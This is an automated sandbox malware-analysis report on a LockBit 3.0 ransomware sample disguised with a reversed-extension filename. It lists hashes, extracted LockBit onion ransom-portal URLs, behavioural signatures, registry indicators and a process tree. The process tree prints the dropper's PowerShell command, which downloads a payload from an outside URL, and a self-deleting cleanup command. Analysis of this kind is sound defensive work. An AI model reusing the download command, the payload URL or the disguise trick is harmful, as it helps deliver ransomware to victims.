Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
148s -
max time network
149s -
platform
windows10-2004_x64 -
resource
win10v2004-20240730-en -
resource tags
arch:x64arch:x86image:win10v2004-20240730-enlocale:en-usos:windows10-2004-x64system -
submitted
02/08/2024, 03:57
Static task
static1
Behavioral task
behavioral1
Sample
death.ΓÇ«gpj.scr.exe
Resource
win7-20240704-en
Behavioral task
behavioral2
Sample
death.ΓÇ«gpj.scr.exe
Resource
win10v2004-20240730-en
General
-
Target
death.ΓÇ«gpj.scr.exe
-
Size
466KB
-
MD5
0fdbc8c24e84eea10dc25e81765014a1
-
SHA1
2d566a2b94fc8b16b97200392db1bbe714c31289
-
SHA256
e173dd358ec750f561ec4eec0c6d75e8709bc32fbe43a5e9a92dd0db96c82b58
-
SHA512
3cb0c09cc5303f7842fd5ba79a118f62586c4f494a2168c6103db55697fe9dc063f866ec5ee8fc208e01cfe7d7e6b044847c824ee28ed7b4ba41d035fb7da72f
-
SSDEEP
12288:CgZXEAO/BUdG3gVdt7Kdm5bakhM/7xah42prW1:CgZXoZUTVdt7K0JakhM1ah42prW1
Malware Config
Extracted
https://master-repogen.vercel.app/file/server.scr
Extracted
C:\wlJ8FiR2h.README.txt
lockbit
http://lockbitsupt7nr3fa6e7xyb73lk6bw6rcneqhoyblniiabj4uwvzapqd.onion
http://lockbitsupuhswh4izvoucoxsbnotkmgq6durg7kficg6u33zfvq3oyd.onion
http://lockbitsupn2h6be2cnqpvncyhj4rgmnwn44633hnzzmtxdvjoqlp7yd.onion
http://lockbitsupp.uz
http://lockbitapt2yfbt7lchxejug47kmqvqqxvvjpqkmevv4l3azl3gy6pyd.onion
http://lockbitapt5x4zkjbcqmz6frdhecqqgadevyiwqxukksspnlidyvd7qd.onion
http://lockbitapt6vx57t3eeqjofwgcglmutr3a35nygvokja5uuccip4ykyd.onion
http://lockbitapt34kvrip6xojylohhxrwsvpzdffgs5z4pbbsywnzsbdguqd.onion
http://lockbitaptc2iq4atewz2ise62q63wfktyrl4qtwuk5qax262kgtzjqd.onion
http://lockbitaptjpikdqjynvgozhgc6bgetgucdk5xjacozeaawihmoio6yd.onion
http://lockbitaptq7ephv2oigdncfhtwhpqgwmqojnxqdyhprxxfpcllqdxad.onion
http://lockbitaptstzf3er2lz6ku3xuifafq2yh5lmiqj5ncur6rtlmkteiqd.onion
http://lockbitaptoofrpignlz6dt2wqqc5z3a4evjevoa3eqdfcntxad5lmyd.onion
Signatures
-
Lockbit
Ransomware family with multiple variants released since late 2019.
-
Rule to detect Lockbit 3.0 ransomware Windows payload 1 IoCs
resource yara_rule behavioral2/files/0x000600000001e5f8-35.dat family_lockbit -
Renames multiple (606) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
-
Blocklisted process makes network request 1 IoCs
flow pid Process 17 4696 powershell.exe -
Downloads MZ/PE file
-
Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-3089151618-2647890268-2710988337-1000\Control Panel\International\Geo\Nation death.ΓÇ«gpj.scr.exe Key value queried \REGISTRY\USER\S-1-5-21-3089151618-2647890268-2710988337-1000\Control Panel\International\Geo\Nation 2900.tmp -
Executes dropped EXE 2 IoCs
pid Process 1700 server.scr 3648 2900.tmp -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
pid Process 4696 powershell.exe -
Drops desktop.ini file(s) 2 IoCs
description ioc Process File opened for modification C:\$Recycle.Bin\S-1-5-21-3089151618-2647890268-2710988337-1000\desktop.ini server.scr File opened for modification F:\$RECYCLE.BIN\S-1-5-21-3089151618-2647890268-2710988337-1000\desktop.ini server.scr -
Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
-
Drops file in System32 directory 4 IoCs
description ioc Process File created C:\Windows\system32\spool\PRINTERS\00002.SPL splwow64.exe File created C:\Windows\system32\spool\PRINTERS\PPfvql5m6bei0vv0mif0u_5d3fd.TMP printfilterpipelinesvc.exe File created C:\Windows\system32\spool\PRINTERS\PP0d02_zwms3f0tj4h_0z_v600b.TMP printfilterpipelinesvc.exe File created C:\Windows\system32\spool\PRINTERS\PPndarpk30ye0p04r09pt4_nnsc.TMP printfilterpipelinesvc.exe -
Sets desktop wallpaper using registry 2 TTPs 2 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-3089151618-2647890268-2710988337-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\wlJ8FiR2h.bmp" server.scr Set value (str) \REGISTRY\USER\S-1-5-21-3089151618-2647890268-2710988337-1000\Control Panel\Desktop\WallPaper = "C:\\ProgramData\\wlJ8FiR2h.bmp" server.scr -
Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
pid Process 3648 2900.tmp -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
System Location Discovery: System Language Discovery 1 TTPs 6 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 2900.tmp Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language death.ΓÇ«gpj.scr.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language server.scr -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 ONENOTE.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz ONENOTE.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString ONENOTE.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU ONENOTE.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS ONENOTE.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily ONENOTE.EXE -
Modifies Control Panel 2 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-3089151618-2647890268-2710988337-1000\Control Panel\Desktop server.scr Set value (str) \REGISTRY\USER\S-1-5-21-3089151618-2647890268-2710988337-1000\Control Panel\Desktop\WallpaperStyle = "10" server.scr -
Modifies registry class 5 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.wlJ8FiR2h server.scr Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.wlJ8FiR2h\ = "wlJ8FiR2h" server.scr Key created \REGISTRY\MACHINE\SOFTWARE\Classes\wlJ8FiR2h\DefaultIcon server.scr Key created \REGISTRY\MACHINE\SOFTWARE\Classes\wlJ8FiR2h server.scr Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\wlJ8FiR2h\DefaultIcon\ = "C:\\ProgramData\\wlJ8FiR2h.ico" server.scr -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 4696 powershell.exe 4696 powershell.exe 1700 server.scr 1700 server.scr 1700 server.scr 1700 server.scr 1700 server.scr 1700 server.scr 1700 server.scr 1700 server.scr 1700 server.scr 1700 server.scr 1700 server.scr 1700 server.scr 1700 server.scr 1700 server.scr 1700 server.scr 1700 server.scr 1700 server.scr 1700 server.scr 1700 server.scr 1700 server.scr 1700 server.scr 1700 server.scr 1700 server.scr 1700 server.scr 1700 server.scr 1700 server.scr 1700 server.scr 1700 server.scr 1700 server.scr 1700 server.scr 1700 server.scr 1700 server.scr 1700 server.scr 1700 server.scr 1700 server.scr 1700 server.scr 1700 server.scr 1700 server.scr 1700 server.scr 1700 server.scr 1700 server.scr 1700 server.scr 1700 server.scr 1700 server.scr 1700 server.scr 1700 server.scr 1700 server.scr 1700 server.scr 1700 server.scr 1700 server.scr 1700 server.scr 1700 server.scr 1700 server.scr 1700 server.scr 1700 server.scr 1700 server.scr 1700 server.scr 1700 server.scr 1700 server.scr 1700 server.scr 1700 server.scr 1700 server.scr -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 4696 powershell.exe Token: SeAssignPrimaryTokenPrivilege 1700 server.scr Token: SeBackupPrivilege 1700 server.scr Token: SeDebugPrivilege 1700 server.scr Token: 36 1700 server.scr Token: SeImpersonatePrivilege 1700 server.scr Token: SeIncBasePriorityPrivilege 1700 server.scr Token: SeIncreaseQuotaPrivilege 1700 server.scr Token: 33 1700 server.scr Token: SeManageVolumePrivilege 1700 server.scr Token: SeProfSingleProcessPrivilege 1700 server.scr Token: SeRestorePrivilege 1700 server.scr Token: SeSecurityPrivilege 1700 server.scr Token: SeSystemProfilePrivilege 1700 server.scr Token: SeTakeOwnershipPrivilege 1700 server.scr Token: SeShutdownPrivilege 1700 server.scr Token: SeDebugPrivilege 1700 server.scr Token: SeBackupPrivilege 1700 server.scr Token: SeBackupPrivilege 1700 server.scr Token: SeSecurityPrivilege 1700 server.scr Token: SeSecurityPrivilege 1700 server.scr Token: SeBackupPrivilege 1700 server.scr Token: SeBackupPrivilege 1700 server.scr Token: SeSecurityPrivilege 1700 server.scr Token: SeSecurityPrivilege 1700 server.scr Token: SeBackupPrivilege 1700 server.scr Token: SeBackupPrivilege 1700 server.scr Token: SeSecurityPrivilege 1700 server.scr Token: SeSecurityPrivilege 1700 server.scr Token: SeBackupPrivilege 1700 server.scr Token: SeBackupPrivilege 1700 server.scr Token: SeSecurityPrivilege 1700 server.scr Token: SeSecurityPrivilege 1700 server.scr Token: SeBackupPrivilege 1700 server.scr Token: SeBackupPrivilege 1700 server.scr Token: SeSecurityPrivilege 1700 server.scr Token: SeSecurityPrivilege 1700 server.scr Token: SeBackupPrivilege 1700 server.scr Token: SeBackupPrivilege 1700 server.scr Token: SeSecurityPrivilege 1700 server.scr Token: SeSecurityPrivilege 1700 server.scr Token: SeBackupPrivilege 1700 server.scr Token: SeBackupPrivilege 1700 server.scr Token: SeSecurityPrivilege 1700 server.scr Token: SeSecurityPrivilege 1700 server.scr Token: SeBackupPrivilege 1700 server.scr Token: SeBackupPrivilege 1700 server.scr Token: SeSecurityPrivilege 1700 server.scr Token: SeSecurityPrivilege 1700 server.scr Token: SeBackupPrivilege 1700 server.scr Token: SeBackupPrivilege 1700 server.scr Token: SeSecurityPrivilege 1700 server.scr Token: SeSecurityPrivilege 1700 server.scr Token: SeBackupPrivilege 1700 server.scr Token: SeBackupPrivilege 1700 server.scr Token: SeSecurityPrivilege 1700 server.scr Token: SeSecurityPrivilege 1700 server.scr Token: SeBackupPrivilege 1700 server.scr Token: SeBackupPrivilege 1700 server.scr Token: SeSecurityPrivilege 1700 server.scr Token: SeSecurityPrivilege 1700 server.scr Token: SeBackupPrivilege 1700 server.scr Token: SeBackupPrivilege 1700 server.scr Token: SeSecurityPrivilege 1700 server.scr -
Suspicious use of SetWindowsHookEx 13 IoCs
pid Process 1844 ONENOTE.EXE 1844 ONENOTE.EXE 1844 ONENOTE.EXE 1844 ONENOTE.EXE 1844 ONENOTE.EXE 1844 ONENOTE.EXE 1844 ONENOTE.EXE 1844 ONENOTE.EXE 1844 ONENOTE.EXE 1844 ONENOTE.EXE 1844 ONENOTE.EXE 1844 ONENOTE.EXE 1844 ONENOTE.EXE -
Suspicious use of WriteProcessMemory 20 IoCs
description pid Process procid_target PID 4084 wrote to memory of 1264 4084 death.ΓÇ«gpj.scr.exe 88 PID 4084 wrote to memory of 1264 4084 death.ΓÇ«gpj.scr.exe 88 PID 4084 wrote to memory of 1264 4084 death.ΓÇ«gpj.scr.exe 88 PID 1264 wrote to memory of 4696 1264 cmd.exe 91 PID 1264 wrote to memory of 4696 1264 cmd.exe 91 PID 1264 wrote to memory of 4696 1264 cmd.exe 91 PID 1264 wrote to memory of 1700 1264 cmd.exe 92 PID 1264 wrote to memory of 1700 1264 cmd.exe 92 PID 1264 wrote to memory of 1700 1264 cmd.exe 92 PID 1700 wrote to memory of 544 1700 server.scr 95 PID 1700 wrote to memory of 544 1700 server.scr 95 PID 2512 wrote to memory of 1844 2512 printfilterpipelinesvc.exe 98 PID 2512 wrote to memory of 1844 2512 printfilterpipelinesvc.exe 98 PID 1700 wrote to memory of 3648 1700 server.scr 99 PID 1700 wrote to memory of 3648 1700 server.scr 99 PID 1700 wrote to memory of 3648 1700 server.scr 99 PID 1700 wrote to memory of 3648 1700 server.scr 99 PID 3648 wrote to memory of 548 3648 2900.tmp 100 PID 3648 wrote to memory of 548 3648 2900.tmp 100 PID 3648 wrote to memory of 548 3648 2900.tmp 100
Processes
-
C:\Users\Admin\AppData\Local\Temp\death.ΓÇ«gpj.scr.exe"C:\Users\Admin\AppData\Local\Temp\death.ΓÇ«gpj.scr.exe"1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4084 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Dropper.bat" "2⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1264 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -Command "(New-Object System.Net.WebClient).DownloadFile('https://master-repogen.vercel.app/file/server.scr', 'C:\Users\Admin\Downloads\server.scr')"3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4696
-
-
C:\Users\Admin\Downloads\server.scr"C:\Users\Admin\Downloads\server.scr"3⤵
- Executes dropped EXE
- Drops desktop.ini file(s)
- Sets desktop wallpaper using registry
- System Location Discovery: System Language Discovery
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1700 -
C:\Windows\splwow64.exeC:\Windows\splwow64.exe 122884⤵
- Drops file in System32 directory
PID:544
-
-
C:\ProgramData\2900.tmp"C:\ProgramData\2900.tmp"4⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3648 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C DEL /F /Q C:\PROGRA~3\2900.tmp >> NUL5⤵
- System Location Discovery: System Language Discovery
PID:548
-
-
-
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k PrintWorkflow -s PrintWorkflowUserSvc1⤵PID:1900
-
C:\Windows\system32\printfilterpipelinesvc.exeC:\Windows\system32\printfilterpipelinesvc.exe -Embedding1⤵
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:2512 -
C:\Program Files\Microsoft Office\root\Office16\ONENOTE.EXE/insertdoc "C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\{901E6D61-4F5C-4B7C-837F-238D54EF7C53}.xps" 1336704464499900002⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious use of SetWindowsHookEx
PID:1844
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
129B
MD5eaeab5cee5b6ecae2955ed17b92f052a
SHA1b40579cf457003988b8c6bfa803af46e02ce6016
SHA256e1ed0778027a007a76d936dec2b60c47267a158a1ffb13427ccc2343e9378308
SHA512b56c1c75dbf7dcdbac3bf88b22b14b2c6b1ff9700eafeecd30d739eb3fef70bc01a21241e2a4f335c6b0440c9b083df90018f1fd9ef528359e00a02234fc6546
-
Filesize
14KB
MD5294e9f64cb1642dd89229fff0592856b
SHA197b148c27f3da29ba7b18d6aee8a0db9102f47c9
SHA256917e115cc403e29b4388e0d175cbfac3e7e40ca1742299fbdb353847db2de7c2
SHA512b87d531890bf1577b9b4af41dddb2cdbbfa164cf197bd5987df3a3075983645a3acba443e289b7bfd338422978a104f55298fbfe346872de0895bde44adc89cf
-
Filesize
470B
MD58073ff57f855d5cd51346f011933d9fb
SHA1d24fc282fb660945b87e1c41860a031f6e7ec9f6
SHA2566bce98ce8751d6f87e97578a05e606a0b699f24c1a69b96cd28ef88d4984fe71
SHA5129f2e04c4f8bdeab0e2075b5bc42edbe6a9ee4221fbf1ebbacd44238576e77f7b2d5f5d3ac90d433b8b6f5493fef51747405e14a5aa2cf59a4663b2cf385b4610
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
90KB
MD521f64b929f042e09a9c1561b186aea21
SHA173eab5ff676774a4314addd88d4ab7a3e54ad651
SHA2565d97aa59d9786c3e8d5de4f4a57bfe6cad2083bca2112688db0c6e31d245d7a6
SHA5126c2ee74b2fe4d583fe75ce92ef3c0955a1f7ca53a5401ef5cfdb82ba0769a61cdf27ecf51c67fb4c114d78f34d4d327f389f5bb4c8ef0cd0b909b59df770b409
-
Filesize
4KB
MD5ee75272ae8df99b8c701a75e6518c44c
SHA11b21dcb5423d2834dc683cb8825f96e39ee566ed
SHA256d0bc5a41d3026ae17547fdfc6daf575f7aff627d638b1b0c0fabb6f79889414e
SHA5121a1d1492749fc85f9f0319bad8ddb3f931caf894f68bd28be02671a8e7e2e75e45f050d33bf6cdc373bf09d2217e60f5ab2ca5ae759c3703d619484f56f5298c
-
Filesize
4KB
MD568129475ffe4b5811e97f5e1acff8953
SHA178fb149cb8819e4f63764e0d9721695e3ae10822
SHA2564d03cd02bc16dddbf535e95f51684d195608611a26619b5917ec1ac67a7cabb2
SHA512f42e9313d0e84b0c24870dbf4d23397fefec4219aa99f530e34f9d2ba3d2d534904ce4459b5bbd6e074f84ed02d66547c1a8d50616ea7c612101d5407889d95e
-
Filesize
150KB
MD54c04529c1f00a8cc8cef69c9a663f0e8
SHA183c6bb77a0cd2ea4041129e4f6664ab733a4dd26
SHA256afb862dca8944877f49e840f4d6f6a1cdbbfcd120dae2a594a63b07989c5f302
SHA5128cd738902709923ca11a0c826ba8d16bb73f4ba4233feb2236f7a4333205c2b5eb65859b5d6353feee698a395a464b6fb84d93aeaad8a8003169cca2b6461185
-
Filesize
150KB
MD57e503c206e57f0295da017914a957d04
SHA196c375b9c57292db73c7ef2f2df16cf7be1604bb
SHA256274844568a6a9ce334d71efeac21f528d7b54b2cd4377c978cc1270c6ad986c4
SHA512cd4889ae107c54df854042e030eb431664d4db9d6dc908d1f1910ca49b89d247222f9d19440fcc2d9a120c95b56cd694750072ab9486eea961b8c33391344c1c
-
Filesize
3KB
MD5b9674de0868a93e9121bdb1d02d80130
SHA179d692fd03d3110a4358e2cc7442af9517489f3f
SHA2569268d24e96639cf4c0e8d74f9769092b415015692ea528820faaded6fc5b052c
SHA512b3264ad33eddedb2c18da883e2345247c762adc8a604991fce931cba06b86c361d23fa121e79d6c69948a2d5b9c1613139f401b971360d9d684abb5a61543c02
-
Filesize
129B
MD5b96fec319187f74033cb9888db102bbb
SHA14e2359c420352194fbf581ca230ba9385d4683e5
SHA2562bd6f1da7a8b2762e07ff7ba964216628c967a247d20cab9ecf6c80203e91095
SHA51253a446c8802bf0bbddc856d965ebf36d0d5c42f5dadd2e362d266dd368a3064a65ffc0df6b000e986ddc718c2455e1aa7ab56b54f571e6d74114f53a00985e2c